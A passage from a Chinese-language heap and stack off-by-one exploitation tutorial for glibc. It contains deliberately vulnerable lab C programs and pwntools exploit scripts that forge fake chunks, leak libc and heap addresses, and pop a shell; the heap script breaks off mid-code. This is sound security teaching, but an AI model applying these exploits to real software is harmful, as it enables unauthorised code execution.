的mchunk_size
的设置,二是针对fake chunk
设置fd
与bk
的关系。
在不给自己找麻烦的情况下,我们并不需要面临fd_nextsize
和bk_nextsize
的检查,因为它们是为large chunk
而准备的。
chunk A
的mchunk_prev_size
可以在OffByOne
发生时进行设置。
但fake chunk
的mchunk_size
呢?
显然我们需要在某个chunk的数据区上写入mchunk_size
。
进而会导致fake chunk
的fd
和bk
也需要填入到数据区中。
想要快速的构造fake chunk
的fd
和bk
,先申请一个large chunk
是个不错的选择,因为它可以覆写chunk的前0x30字节空间,并且最后0x10字节的空间会被覆写成large chunk
自己的内存地址。
这个时候只要程序申请一段小于large chunk
的堆内存,就会将large chunk
的部分内存拿到自己手中,申请的内存大小至少也要能包含bk_nextsize
。
1 2 3 4 5 6 7 8 | * large chunk * * chunk A * * fake chunk * | ...... | | ...... | | ...... | | bk_nextsize | | bk_nextsize | | bk | | fd_nextsize | | fd_nextsize | | fd | | bk | | bk | | mchunk_size | | fd | | fd | - > | mchunk_prev_size | | mchunk_size | | mchunk_size | | mchunk_prev_size | - > | mchunk_prev_size | |
申请的chunk A
的拿到后,你会发现就是large chunk
的起始地址。
由于chunk刚刚从large bin
中出来,所以chunk A
数据区的前0x20空间都被写入了链表地址。
因为目前链表中只有large chunk
,所以large bin
在fake chunk
的fd
和bk
留下的地址就是它自己的地址。
1 2 3 4 5 6 | * fake chunk * | ...... | | bk | - > bk = large_chunk_address | fd | - > fd = large_chunk_address | mchunk_size | | mchunk_prev_size | |
如果我们想要直接利用large chunk
留下来的地址,来绕过unlink_chunk
函数中检查,恐怕难度不小。
首先如果直接使用large chunk
遗留下来的数据,那么我们也只能使用bk
位置上的数据,这是因为bk->fd
指向fake chunk
的mchunk_prev_size
,这个数据可以随便设置,而不影响合并的流程。
但是fd->bk
指向的则是mchunk_size
,这个数据是非常重要的,它一旦有所偏差,就会导致chunk大小匹配检查无法通过,进而发生向后合并失败的情况。
1 2 | fake_chunk_bk - >fd = fake_chunk_mchunk_prev_size fake_chunk_fd - >bk = fake_chunk_mchunk_size |
想要让bk->fd
通过unlink_chunk
的检查,就需要让mchunk_prev_size
的位置上存储fake chunk
的地址。
在不知道内存状态的情况下,想要将mchunk_prev_size
写入chunk地址,还不干扰其他的内存数据,就只能让fake chunk
进入fast bin
闯一下了。
因为只有fast bin
只写fd
一个成员,所以只有mchunk_prev_size
被改变是最符合预期的,fast bin
设置的fd
未必正确,可能还需我们修改几个字节,才可以让bk->fd
指向fake chunk
。
bk->fd
的设置已经有了着落,那fd->bk
呢?
通过向chunk A
填入数据构造fake chunk
时,必写的就是mchunk_size
,而且因为数据从低向高写入的特性,mchunk_prev_size
也一定会被覆盖。
如果我们想要设置fake chunk
的bk
,也就必须要覆盖fd
,所以就让bk
继续保存large chunk
的地址,然后想办法修改mchunk_prev_size
的数值可能是一种局部最优解。
所以在这里我们只修改fd
的部分低字节,让新地址指向我们构造的环境中。因此向数据区域写入数据的格式为p64(0) + p64(size) + p8(z)
。
在上方,我们留下了这两个size
和z
两个变量数据,不过它们到底应该填成什么样的数值呢?
首先是size
,它是fake chunk
和offbyone chunk
之间的偏移值,取决于构造完fake chunk
之后和申请offbyone chunk
之前,申请的堆内存总量大小,最后将它加上fake chunk
的大小,就是它们之间的偏移值。
上面的计算方法有一个前提,就是fake chunk
和offbyone chunk
是连续的,因此你必须保证最初申请的large chunk
足够大,能让它完成分割。
而且为了避免unlink_chunk
函数将新产生的chunk视为large chunk
,你还需要保证size
的数值在small chunk
的范围内,也就是你也不能申请过多的内存。
最后一项就是数值z
的取值问题,z
的位置对应fake chunk
的fd
的最低字节,我们需要修改最低字节,让它指向chunk B
。
我们不要求chunk B
在bk
的位置上直接提供fake chunk
的地址,但是至少也要提供一个模板地址。
想要达到这一效果,就需要chunk B
是从small bin
或unsorted bin
等会覆写到bk
的链表中被取出,并且要求链表中不止存在一个chunk,进而才能让chunk B
的bk
指向一个真实的chunk。
1 2 3 4 5 | * chunk B * | bk | - > chunkC_address | fd | | mchunk_size | | mchunk_prev_size | |
在上面的分析中,要让chunk留下来可靠的地址,都需要进入指定类型的链表当中,但是chunk被释放时,却未必会直接进入我们期望的链表中。
我们需要用前面学习的内容,手动的让chunk迁移到指定链表中。
\0
的副作用在上面的fake chunk
构造过程中吗,我们可能会使用p8(xxx)
发送数据,目的是改写地址指向目标chunk。
由于负责读取数据到缓冲区变量的函数会默认添加\0
时,所以会向原地址多写一个字节,该字节对应的数值就是\0
。
1 2 3 | 0x5555556690 - > send p8( 0x10 ) - > 0x5555550010 |
为了让被改写的地址可以指向有效且正确的chunk,目标chunk的地址必须大于等于地址0xXXXXXX0000
,且小于等于0xXXXXXX0100
。
为了达到这一效果,large chunk
需要开一个好头,我们要在申请large chunk
前,多申请一些chunk,让large chunk
不会和0xXXXXXX0000
相差太多。
在已知程序二进制信息的情况下,且系统为开启ASLR机制,你是可以推测出应该在申请large chunk
前,还要申请堆内存的。
程序未开启PIE时,程序在运行期时使用的内存地址可以直接获得,根据段信息不难获取程序在运行期的内存布局,因为堆紧跟在ELF文件的内存之后,所以进一步的推测出堆内存在运行期的内存布局也就成了一个可行的事情。
1 2 3 4 5 6 7 | Type MemSiz Flags runtime memory layout LOAD 0x000868 R - > 00400000 - 00401000 r - - p LOAD 0x0007a9 R E - > 00401000 - 00402000 r - xp LOAD 0x000480 R - > 00402000 - 00403000 r - - p LOAD 0x000290 R W - > 00404000 - 00405000 rw - p GNU_RELRO 0x002dd0 R - > 00403000 - 00404000 r - - p heap - > 00405000 - 00426000 rw - p |
在得知[heap]
在运行期的内存布局后,我们还要确认另一件事情,那就是程序申请的第一个chunk的内存地址一定是[heap]
的起始地址吗?
答案是应该是这样的,但可能会与你的刻板印象有些偏差。
首先呢,第一个申请的chunk肯定来自于top chunk
,top chunk
并不是一开始就分配好的,最一开始时,main_arena->top
的数值就是空指针,当程序第一次申请内存时,会判断__malloc_initialized
标志,如果为0就说明ptmalloc
还没有初始化过,此时会进入ptmalloc_init
初始化。
在开始时malloc_init_state
会通过initial_top
将main_arena->top
指针赋值成&bins[0]
,这个值并不是真实的数值,
接下来,__libc_malloc
会初始化tcache
,最后GLibC会进入_int_malloc
开始正常的chunk申请流程,这时链表中显示是不能匹配到任何东西的,所以GLibC会使用sysmalloc
函数,让它通过brk
机制扩展堆内存,这时top
指针才会指向正确的堆内存区域。
在第一次申请时,拿到的一定是[heap]
的起始地址,后面再申请时top
指针也会不断向上扩张。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #define initial_top(M) (unsorted_chunks (M)) __libc_malloc if (!__malloc_initialized) - > ptmalloc_init - > if (__malloc_initialized) - > return - > __malloc_initialized = true; - > malloc_init_state - > av - >top = initial_top (av); - > MAYBE_INIT_TCACHE(); - > tcache_init(); - > arena_get (ar_ptr, bytes); - > victim = _int_malloc (ar_ptr, bytes); - > void * p = sysmalloc (nb, av); |
从上面,我们可以知道程序申请第一个chunk时,得到的起始地址一定是[heap]
的起始地址,但是堆内存的申请未必一定是程序主观上通过类似malloc
的接口申请的,当程序使用一写库函数时(比如printf
),这些库函数也是会申请堆内存的。
所以,在程序主观上申请第一个chunk时,可能已经有库函数申请过了,这个时候要推测large chunk
的地址,就需要把库函数申请的部分一并算上。
上面讲了非PIE的情况,开启PIE时的情况也并不算复杂。
内核通过ELF_ET_DYN_BASE
宏计算程序的基地址,在64位系统当中,该宏的数值一般为0x555555554AAA
,而alignment
一般是0x1000,所以load_bias
最终会得到0x555555554000
,内核会使用load_bias
作为程序的内存基地址,基地址加上ELF文件中的相对地址后,就可以得到实际的内存地址。
1 2 3 4 5 6 7 8 | #define PAGE_SIZE 4096 #define DEFAULT_MAP_WINDOW ((1UL << 47) - PAGE_SIZE) #define ELF_ET_DYN_BASE (DEFAULT_MAP_WINDOW / 3 * 2) load_elf_binary - > load_bias = ELF_ET_DYN_BASE; - > if (alignment) load_bias & = ~(alignment - 1 ); |
至于系统开启ASLR的情况,那就是只能自求多福了,毕竟load_bias
减去随机值后会变成什么,谁都无法预测。
现在我们已经成功的让chunk在向后合并阶段,合并了一些尚未释放的chunk,不过这种chunk重叠的情况,会产生什么样子的效果呢?
现在这种情况并不能直接辅助我们对程序的执行流程进行控制,那它能干什么呢?
先看一下正常的情况。
如果释放chunk时,chunk进入了bins数组中的链表,那么就会复写fdxx
和bkxx
的区域,当chunk再被取出时,如果chunk上的数据被打印,那么fd
上的地址就会被泄露出来。
但如果chunk被取出时,读取过数据到缓冲区变量,且负责读取的函数自动在数据后面添加了\0
,那么地址信息就无法被打印出来,因为\0
做了截断。
这个时候,我们假设读取函数会在数据后添加\0
作为结束符。
再来看一下非正常的情况。
当chunk发生异常的向后合并时,会将一些尚未释放的chunk包含进来,这时会形成一个大chunk q
进入链表中。
在此时申请内存时,会从chunk q
中取出部分返回,余下的chunk w
会继续留在链表中,且chunk w
上的fdxx
和bkxx
的区域也会被重新覆写。
当chunk w
的fd
的地址对应程序中某个尚未释放的chunk e
的数据区地址时,我们打印chunk e
时,就会把fd
的地址打印出来。
1 2 3 4 5 6 7 8 9 10 11 12 | program inused chunk: chunk e GLibC * chunk q * * chunk q * | * chunk r * | | * chunk w * | | * chunk w * | - > chunk r out - > | ...... | | ...... | after chunk r out - > chunk w - > fdxx && bkxx overwite to link next chunk if chunk_w_address = = chunk_e_address - > same as chunk e fdxx && bkxx overwite |
这时泄露的地址分成两类,一是真实的chunk地址,我们可以根据它推测出[heap]
段的起始地址,二是bins数组的地址,我们可以根据它推测出GLibC的基地址。
[heap]
段的基地址比较好推测,地址对应chunk之前分配的内存大小就可以。
至于GLibC地址的推测,可能会复杂一些,在想象当作,可能只有将泄露出来的地址减去main_arena
在GLibC中的偏移值以及bins数组在main_arena
中的偏移值就可以了,但是main_arena
并没有作为符号被导致,所以它的偏移值是无法知晓的。
尽管main_arena
没有被到处,但这并不会妨碍我们确定它的偏移地址。
在GLibC的malloc.c
源代码中,我们经常可以看到xx = &main_arena
的写法出现,显然通过这条语句对应的汇编语句,我们就可以确定main_arena
的偏移地址。
下面展示了__libc_mallinfo2
的部分汇编代码以及源代码,由于main_arena
是全局变量,位于.data
节中,main_arena
的偏移地址在编译阶段就会确定下来,当GLibC获取main_arena
的地址时,就一定会利用当前程序指针作为基地址,然后加上一个常量偏移值,得到main_arena
在.data
节中的偏移地址。
1 2 3 4 5 6 7 8 9 | __libc_mallinfo2 - > ar_ptr = &main_arena; 00000000000a3440 <mallinfo2@@GLIBC_2. 33 >: a346a: 66 0f ef c0 pxor % xmm0, % xmm0 a346e: 4c 8d 25 4b 46 14 00 lea 0x14464b ( % rip), % r12 a3475: 49 89 e5 mov % rsp, % r13 main_arnea offset = 0xa3475 + 0x14464b |
在一开始的设想中,我们是想利用unlink_chunk
函数中的赋值语句完成任意地址写的操作,但是随着GLibC的进化,想要完成任意地址写已经不在可能了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | unlink_chunk mchunkptr fd = p - >fd; mchunkptr bk = p - >bk; - > if (fd - >bk ! = p || bk - >fd ! = p) - > malloc_printerr fd - >bk = bk; bk - >fd = fd; - > if (!in_smallbin_range (chunksize_nomask (p)) && p - >fd_nextsize ! = NULL) - > if (p - >fd_nextsize - >bk_nextsize ! = p || p - >bk_nextsize - >fd_nextsize ! = p) - > malloc_printerr - > if (fd - >fd_nextsize = = NULL) - > ...... - > else - > p - >fd_nextsize - >bk_nextsize = p - >bk_nextsize; - > p - >bk_nextsize - >fd_nextsize = p - >fd_nextsize; |
在理想的情况中,针对fd
和bk
的加固是可以接受的,但是针对large bin
链表进行的加固检查,却成了压死骆驼的最后一根稻草。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | p - >fd = bin_at(M, x) p - >bk = bin_at(M, x) - > fd - >bk = = p || bk - >fd = = p * (rw_address) = glibc_system_address p - >fd_nextsize = read_got_address - offset(bk_nextsize) p - >bk_nextsize = rw_address p - >fd_nextsize - >bk_nextsize = p - >bk_nextsize; - > read_got_address = rw_address p - >bk_nextsize - >fd_nextsize = p - >fd_nextsize; - > * (rw_address + offset(fd_nextsize)) = read_got_address got[read] overwrite to GLibC system! |
在没有针对large bin
检查的情况下,可以构造fd_nextsize
和bk_nextsize
完成任意地址写的功能。
1 2 | read(xx, xx, xx) - > enter GLibC system() |
下面是程序的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include <unistd.h> #include <limits.h> #define BUF_SIZE 252 static unsigned long hacker_addr; static unsigned long caller_rsp_val; static unsigned long callee_rsp_val; static unsigned long callee_rbp_val; static void gift_give(void) { asm( "pop %rdi" ); system( "/bin/sh" ); } static void stack_vuln(char * data) { char buf[BUF_SIZE]; asm( "mov %%rbp, %0" : "=r" (callee_rbp_val)); asm( "mov %%rsp, %0" : "=r" (callee_rsp_val)); printf( "befor strcpy rbp save val = 0x%lx\n" "current rbp val = 0x%lx\n" "current rsp val = 0x%lx\n" , * (unsigned long * )(callee_rbp_val), callee_rbp_val, callee_rsp_val); strcpy(buf, data); hacker_addr = (caller_rsp_val & 0xFFFFFFFFFF00 ) + 0x8 ; if (hacker_addr > = callee_rsp_val && hacker_addr < = callee_rbp_val) { * (unsigned long * )(hacker_addr) = (unsigned long )&gift_give; } else { printf( "hacker_addr not in [rbp - rsp] range\n" ); } printf( "after strcpy rbp save val = 0x%lx\n" , * (unsigned long * )(callee_rbp_val)); } static void stack_foo(char * data) { ssize_t len ; asm( "mov %%rsp, %0" : "=r" (caller_rsp_val)); printf( "caller rsp val = 0x%lx\n" , caller_rsp_val); printf( "please input something\n" ); len = read(STDIN_FILENO, data, BUF_SIZE + 0x5 ); if ( len > BUF_SIZE) { printf( "data larger than 256, will exit\n" ); } stack_vuln(data); } int main( int argc, char * argv[]) { char data[BUF_SIZE + 0x10 ]; if (argc = = 1 ) { stack_foo(data); return 0 ; } return 0 ; } |
从源代码中可以看到,stack_vuln
中buf
变量具有明显的栈溢出情况,这要多谢库函数strcpy
的帮助,让buf
变量溢出了1个字节。
溢出\0
会将stack_foo
的rbp
的最低字节覆盖成0,造成stack_foo
函数形成栈迁移,stack_foo
函数运行完leave
指令后,会完成栈迁移的操作。
此时stack_foo
再通过ret
指令返回父函数时,会使用stack_vuln
上的数据作为返回地址,一旦返回地址指向恶意代码,我们就完成了执行流程的完美控制。
根据前面针对栈场景的OffByOne
介绍,构造出下方的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | import pwn import sys sys.path.append( '../../MyTools' ) import conversion pwn.context.clear() pwn.context.update( arch = 'amd64' , os = 'linux' , ) target_info = { 'exec_path' : './off_by_one_example' , 'exec_info' : None , 'addr_len' : 0x8 , 'gift_addr' : 0x0 , 'caller_stack_len' : 0x20 , 'callee_stack_buf_len' : 0x100 , } target_info[ 'exec_info' ] = pwn.ELF(target_info[ 'exec_path' ]) target_info[ 'gift_addr' ] = target_info[ 'exec_info' ].symbols[ 'gift_give' ] print ( "[--] please disable PIE and canary" ) conn = pwn.process(target_info[ 'exec_path' ]) leak_info = conn.recvuntil(b '\n' ) caller_rsp_val = conversion.str2int(leak_info[ 23 : 24 + 13 ]) caller_rbp_val = caller_rsp_val + target_info[ 'caller_stack_len' ] print ( "[++] caller_rbp_val = {0}" . format ( hex (caller_rbp_val))) if ((caller_rbp_val & 0x0000000000FF ) = = 0 ): print ( "[--] *(callee rbp) / (caller rbp) -> lowest byte is 0x00" ) print ( "[--] PWN maybe failed" ) conn.recvuntil(b 'please input something\n' ) callee_rbp_val = caller_rsp_val - 0x10 hacker_tagret_addr = (caller_rbp_val & 0xFFFFFFFFFF00 ) + 0x8 if (hacker_tagret_addr > callee_rbp_val): print ( "[--] hacker_tagret_addr higher than caller_rsp_val" ) print ( "[--] PWN maybe failed" ) buf_val_start_addr = callee_rbp_val - target_info[ 'callee_stack_buf_len' ] print ( "[++] hacker_tagret_addr = {0}" . format ( hex (hacker_tagret_addr))) print ( "[++] buf_val_start_addr = {0}" . format ( hex (buf_val_start_addr))) payload = b 'A' * (hacker_tagret_addr - buf_val_start_addr) payload + = b 'B' * target_info[ 'addr_len' ] payload + = b 'C' * (target_info[ 'callee_stack_buf_len' ] - len (payload)) if ( len (payload) > target_info[ 'callee_stack_buf_len' ]): print ( "[--] payload is larger than callee bufvar len" ) print ( "[--] PWN maybe failed" ) conn.send(payload) conn.recv() conn.interactive() |
运行exploit后,成功获取shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | [ * ] './off_by_one_example' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x400000 ) Stripped: No Debuginfo: Yes [ - - ] please disable PIE and canary [ + ] Starting local process './off_by_one_example' : pid 156733 [ * * ] strings: b '0x7fffffffdba0' [ * * ] hex : 0x7fffffffdba0 [ + + ] caller_rbp_val = 0x7fffffffdbc0 [ + + ] hacker_tagret_addr = 0x7fffffffdb08 [ + + ] buf_val_start_addr = 0x7fffffffda90 [ * ] Paused (press any to continue ) [ * ] Switching to interactive mode $ ls exploit4heap_off_by_one.py log.md Makefile off_by_one_example exploit4stack_off_by_one.py main.c obj $ exit [ * ] Got EOF while reading in interactive |
下面给出了程序的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include <unistd.h> #include <limits.h> #define ARRARY_SIZE 0x100 #define CHOICE_ALLOC 1 #define CHOICE_DELETE 2 #define CHOICE_SHOW 3 #define HACK_CHANCE 4 #define my_PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12 ) ^ ((size_t) ptr))) #define my_REVEAL_PTR(ptr) my_PROTECT_PTR (&ptr, ptr) typedef void( * func)(char * ); static int i; static char * buf[ARRARY_SIZE]; static int int_type_read(const char * msg) { int tmp; printf( "%s" , msg); scanf( "%d" , &tmp); return tmp; } static char * data_alloc_and_read(void) { unsigned int size; ssize_t len ; char * data; if (buf[i]) { printf( "buffer [%d] already inuse, needby free\n" ); return NULL; } size = int_type_read( "input size\n" ); printf( "input buffer\n" ); buf[i] = (char * )malloc(sizeof(char) * size); if (buf[i]) { len = read(STDIN_FILENO, buf[i], size); data = buf[i]; data[ len ] = '\0' ; i + + ; } if (i > = ARRARY_SIZE) { i = 0 ; } return data; } static void data_delete(void) { int index; index = int_type_read( "input delete index\n" ); if (index > = 0 && index < i && i < ARRARY_SIZE) { if (buf[index]) { free(buf[index]); buf[index] = NULL; } } } static void data_show(void) { int index; index = int_type_read( "input show index\n" ); if (index > = 0 && index < i && i < ARRARY_SIZE) { if (buf[index]) { printf( "%s\n" , buf[index]); } } } static void difficult_gift_give(void) { ssize_t len ; char addr[ 0x9 ]; func tmp; printf( "you can input something for hack!\n" ); len = read(STDIN_FILENO, addr, 0x8 ); if ( len = = 0x8 ) { memcpy(&tmp, addr, 0x8 ); tmp( "/bin/sh" ); } } static void heap_vuln(void) { bool can_exit; int choice; i = 0 ; can_exit = false; while (can_exit = = false) { printf( "choice 1: malloc buffer\n" "choice 2: delete buffer\n" "choice 3: show buffer\n" "choice 4: use gift\n" ); choice = int_type_read( "input choice\n" ); printf( "get choice %d\n" , choice); switch (choice) { case CHOICE_ALLOC: data_alloc_and_read(); break ; case CHOICE_DELETE: data_delete(); break ; case CHOICE_SHOW: data_show(); break ; case HACK_CHANCE: difficult_gift_give(); break ; default: printf( "unknow choice [%d], will exit\n" , choice); can_exit = true; break ; } } } int main( int argc, char * argv[]) { int len ; char * buf1, * buf2, data[BUF_SIZE + 0x10 ], * tmp; tmp = (char * )&buf1; printf( "current tmp addreess = 0x%lx\n" , (unsigned long )tmp); tmp = my_PROTECT_PTR(&tmp, tmp); printf( "after PROTECT_PTR, tmp addreess = 0x%lx\n" , (unsigned long )tmp); tmp = my_REVEAL_PTR(tmp); printf( "after REVEAL_PTR, tmp addreess = 0x%lx\n" , (unsigned long )tmp); if (argc = = 1 ) { stack_foo(data); return 0 ; } len = strnlen(argv[ 1 ], PATH_MAX); if ( len > BUF_SIZE) { printf( "too long, will exit\n" ); return 1 ; } heap_vuln(); return 0 ; } |
从源代码中可以看到,程序一共支持四大功能,分别是分配并写数据到chunk中、展示chunk中的数据、删除chunk以及指定地址进行函数调用。
在读取数据到缓冲区变量时,程序会使用自己提出的堆内存申请大小作为判断值,并且还会默认在读取数据的后面添加\0
由于分配内存的大小可以我们自己控制,所以可以通过n * ALIGN + SIZE_SZ
的格式,这个时候OffByOne
的利用条件已经达成了。
利用OffByOne
漏洞,我们可以向后合并未释放的chunk。
而且利用UAF(GLibC维护的释放chunk和程序正在使用的chunk重复)漏洞,以及bins链表的特性,我们可以让GLibC向程序正在使用的chunk中写入真实的内存地址,程序可以通过打印chunk,将这些数据泄露出来。
只不过,向后合并的流程需要我们利用上面的知识,精心构造chunk完成合并流程。
通过前面的分析构造出下面的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 | import pwn import sys sys.path.append( '../../MyTools' ) import conversion pwn.context.clear() pwn.context.update( arch = 'amd64' , os = 'linux' , ) target_info = { 'exec_path' : './off_by_one_example' , 'exec_info' : None , 'libc_info' : None , 'addr_len' : 0x8 , 'buf_len' : 252 , 'chunk_offset' : 0x810 , 'chunk_inuse' : 0x1 , 'exp_alloc_size' : 0x0 , 'one_tcache_cnt' : 0x7 , 'libc_base_addr' : 0x0 , 'heap_base_addr' : 0x0 , } def int2str2bytes(num): return str (num).encode( 'utf-8' ) def target_alloc_and_read_call(msg, size): conn.sendlineafter(b 'input choice\n' , int2str2bytes(CHOICE_ALLOC_VAL)) conn.sendlineafter(b 'input size\n' , int2str2bytes(size)) conn.sendafter(b 'input buffer\n' , msg) def target_delete_call(index): conn.sendlineafter(b 'input choice\n' , int2str2bytes(CHOICE_DELETE_VAL)) conn.sendlineafter(b 'input delete index\n' , int2str2bytes(index)) def target_show_call(index): conn.sendlineafter(b 'input choice\n' , int2str2bytes(CHOICE_SHOW_VAL)) conn.sendlineafter(b 'input show index\n' , int2str2bytes(index)) leak_data = conn.recvuntil(b '\n' ) return leak_data[ 0 : - 1 ] def tcache_clear(): for i in range (target_info[ 'one_tcache_cnt' ]): target_alloc_and_read_call(b 'tcache' , 0x48 ) def tcache_fill(base): for i in range (target_info[ 'one_tcache_cnt' ]): target_delete_call(base + i) def help_chunk_malloc(): # 11 - 13 target_alloc_and_read_call(b '10' , 0x48 ) target_alloc_and_read_call(b '11' , 0x48 ) target_alloc_and_read_call(b '12' , 0x48 ) target_alloc_and_read_call(b '13' , 0x48 ) target_info[ 'exp_alloc_size' ] + = 0x50 * 4 def chunk_addr_padding(): # 0 - 4 for i in range ( 5 ): target_alloc_and_read_call(b 'padding' , 0x1000 ) # 5 target_alloc_and_read_call(b 'padding' , 0x900 ) def large_chunk_enter_large_bin(): # 6 target_alloc_and_read_call(b '6' , 0xF50 ) # 7 target_alloc_and_read_call(b '7' , 0x10 ) # chunk 6 enter unsorted bin target_delete_call( 6 ) # chunk 6 enter large bin target_alloc_and_read_call(b '15' , 0x1000 ) def fake_chunk_get_and_set(my_payload): target_alloc_and_read_call(my_payload, 0x48 ) def fake_chunk_fd_env_set(): # 14 - 20 tcache_clear() target_info[ 'exp_alloc_size' ] + = 0x50 * target_info[ 'one_tcache_cnt' ] tcache_fill( 14 ) # help chunk enter fast bin target_delete_call( 12 ) target_delete_call( 10 ) # 21 - 27 tcache_clear() # fast bin -> unsorted bin -> small bin target_alloc_and_read_call(b '28' , 0x400 ) target_info[ 'exp_alloc_size' ] + = 0x410 # 29 # get chunk 10 from small bin # chunk 12 enter tcache again payload = pwn.p64( 0 ) payload + = pwn.p8( 0x20 ) target_alloc_and_read_call(payload, 0x48 ) # 30 # get chunk 19 from tcache target_alloc_and_read_call(b '30' , 0x48 ) def fake_chunk_bk_env_set(): tcache_fill( 21 ) # fake chunk 9 && help chunk 11 enter fast bin # fake_chunk_9_address->fd = chunk_11_address target_delete_call( 11 ) target_delete_call( 9 ) # 31 - 37 tcache_clear() # 38 # get fake chunk 9 from fast bin # help chunk 11 enter tcache payload = pwn.p8( 0x20 ) payload + = pwn.p8( 0x00 ) payload + = pwn.p8( 0x56 ) payload + = pwn.p8( 0x55 ) payload + = pwn.p8( 0x55 ) payload + = pwn.p8( 0x55 ) fake_chunk_get_and_set(payload) # 39 # get help chunk 11 from tcache target_alloc_and_read_call(b '39' , 0x48 ) def off_by_one_env_set(): # 40 - 42 target_alloc_and_read_call(b '40' , 0x48 ) target_info[ 'exp_alloc_size' ] + = 0x50 target_alloc_and_read_call(b '41' , 0x5f8 ) target_alloc_and_read_call(b '42' , 0x48 ) target_delete_call( 40 ) # 43 # get chunk 40 from tcache # chunk 41 OffByOne # chunk 41 mchunk_prev_size = 0x810 # chunk 41 mchunk_size = 0xXXX00 payload = b 'A' * 0x40 payload + = pwn.p64(target_info[ 'chunk_offset' ]) target_alloc_and_read_call(payload, 0x48 ) print ( "[--] tips: offset [alloc]:{0} - [use]:{1}" . format ( hex (target_info[ 'exp_alloc_size' ]), hex (target_info[ 'chunk_offset' ]))) def off_by_one_enable(): tcache_fill( 31 ) # chunk 41 free # enter unlink_chunk, merge non-free chunk target_delete_call( 41 ) # 44 - 50 tcache_clear() def libc_base_addr_get(): # 51 # get remaining chunk in linked list target_alloc_and_read_call(b '51' , 0xe0 ) # 52 # malloc chunk 51 from large chunk # let chunk 29 become head of large chunk # linked list only has large chunk # chunk 29 fd overwitre to bin_at(M, x) target_alloc_and_read_call(b '52' , 0x38 ) leak_data = target_show_call( 29 ) arena_bins_addr = conversion.bytes2int(leak_data) main_arena_offset = 0x1e7ac0 arena_bins_offset = 0x70 malloc_chunk_fd_offset = 0x10 target_info[ 'libc_base_addr' ] = arena_bins_addr - main_arena_offset - arena_bins_offset + malloc_chunk_fd_offset print ( '[++] libc base address = {0}' . format ( hex (target_info[ 'libc_base_addr' ] ))) def heap_segment_base_addr_get(): # 53 - 56 # get remaining chunk in linked list target_alloc_and_read_call(b '53' , 0xdc0 ) # avoid merging 53 with chunk 55 target_alloc_and_read_call(b '54' , 0xdc0 ) target_alloc_and_read_call(b '55' , 0xdc0 ) # avoid merging 55 with top chunk target_alloc_and_read_call(b '56' , 0x10 ) # chunk 53 && 55 enter unsorted bin target_delete_call( 55 ) target_delete_call( 53 ) leak_data = target_show_call( 29 ) chunk_55_addr = conversion.bytes2int(leak_data) target_info[ 'heap_base_addr' ] = chunk_55_addr - 0x9d70 print ( '[++] heap base address = {0}' . format ( hex (target_info[ 'heap_base_addr' ] ))) def shell_get(): conn.sendlineafter(b 'input choice\n' , int2str2bytes(CHOICE_HACK_CHANCE)) system_addr = target_info[ 'libc_base_addr' ] + target_info[ 'libc_info' ].symbols[ 'system' ] print ( '[--] tips system address = {0}' . format ( hex (system_addr))) payload = pwn.p64(system_addr) pwn.pause() conn.sendafter(b 'you can input something for hack!\n' , payload) target_info[ 'exec_info' ] = pwn.ELF(target_info[ 'exec_path' ]) target_info[ 'libc_info' ] = pwn.ELF(target_info[ 'exec_path' ]).libc target_info[ 'exp_alloc_size' ] = 0 CHOICE_ALLOC_VAL = 1 CHOICE_DELETE_VAL = 2 CHOICE_SHOW_VAL = 3 CHOICE_HACK_CHANCE = 4 print ( '[--] tips: exploit need diable ASLR' ) cmdline = b 'test strings' conn = pwn.process([target_info[ 'exec_path' ], cmdline]) chunk_addr_padding() large_chunk_enter_large_bin() # 9 # set fake chunk mchunk_prev_size && mchunk_size && fd payload = pwn.p64( 0 ) payload + = pwn.p64(target_info[ 'chunk_offset' ] + target_info[ 'chunk_inuse' ]) payload + = pwn.p8( 0x60 ) # 9 # set fake chunk mchunk_prev_size to fake bk fake_chunk_get_and_set(payload) # fake 